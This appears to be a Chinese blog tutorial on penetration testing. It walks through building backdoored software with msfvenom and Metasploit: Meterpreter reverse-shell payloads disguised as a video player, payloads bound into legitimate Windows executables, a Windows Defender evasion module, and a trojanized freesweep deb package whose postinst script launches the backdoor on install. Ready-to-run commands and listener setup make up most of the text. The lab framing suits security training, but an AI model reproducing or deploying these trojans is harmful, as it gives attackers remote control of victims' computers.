渗透测试之后门软件

1. 制作Windows恶意软件

1.1 使用msfvenom生成后门木马

制作后门程序

sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音.exe

msf启动handler监听后门程序,

use exploit/multi/handler 

msf6 exploit(multi/handler) > set lhost 192.168.142.135
lhost => 192.168.142.135
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit 

启动Apache服务:

systemctl start apache2

靶机访问链接下载文件http://192.168.142.135/西瓜影音.exe,执行

当靶机运行后门程序,反弹成功,恶意软件成功连接。

1.2 给真正的软件加上后门

先查看主程序会调用哪些附加的小程序,然后把  payload 后门和这些小程序绑定到一起。当然也可以直接加到主程序上,但是加主程序上,有时报错。

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x xxx.exe -f exe -o /var/www/html/xxx.exe

1.3 使用evasion模块生成后门木马

use evasion/windows/windows_defender_exe

show options查看配置,自定义文件名,run

启动exploit/multi/handler监听模块,设置好端口,run开始监听

2. 制作Linux恶意软件

2.1 msfvenom制作linux恶意软件获取shell

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b "\x00" -f elf -o  /var/www/html/sss

开启Apache服务,设置好payload开启handler监听

打开靶机,下载后门文件,添加执行权限并执行。

wget http://192.168.142.135/sss

 2.2 制作deb恶意软件包获取shell

下载freesweep,仅下载模式模式

apt install freesweep --download-only

下载的文件在/var/cache/apt/archives下,移动到根目录,dpkg解压。

dpkg -x freesweep_1.0.1-2_amd64.deb freesweep 

制作恶意deb包

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b "\x00" -f elf -o /home/kali/freesweep/usr/games/freesweep_sources

拓展:生成软件包时无论是  payload 的和软件包信息都需要选择能够在目标操作系统上执行的。 
创建软件包信息目录

mkdir ~/freesweep/DEBIAN && cd /root/free/DEBIAN

创建软件包的信息文件

tee /root/free/DEBIAN/control << 'EOF' 
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement 
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
EOF

创建  deb 软件包,安装后脚本文件,来加载后门

tee /root/free/DEBIAN/postinst << 'EOF' 
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources 
sudo /usr/games/freesweep_sources &
EOF

给脚本文件添加执行权限

chmod 755 /root/free/DEBIAN/postinst

靶机下载安装deb包:

监听成功

sudo dpkg -r freesweep卸载,连接会话正常

作者:拾瑾
个性签名:愿历经千帆,归来仍少年.
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利.
原文地址:https://www.cnblogs.com/ayoung/p/15717738.html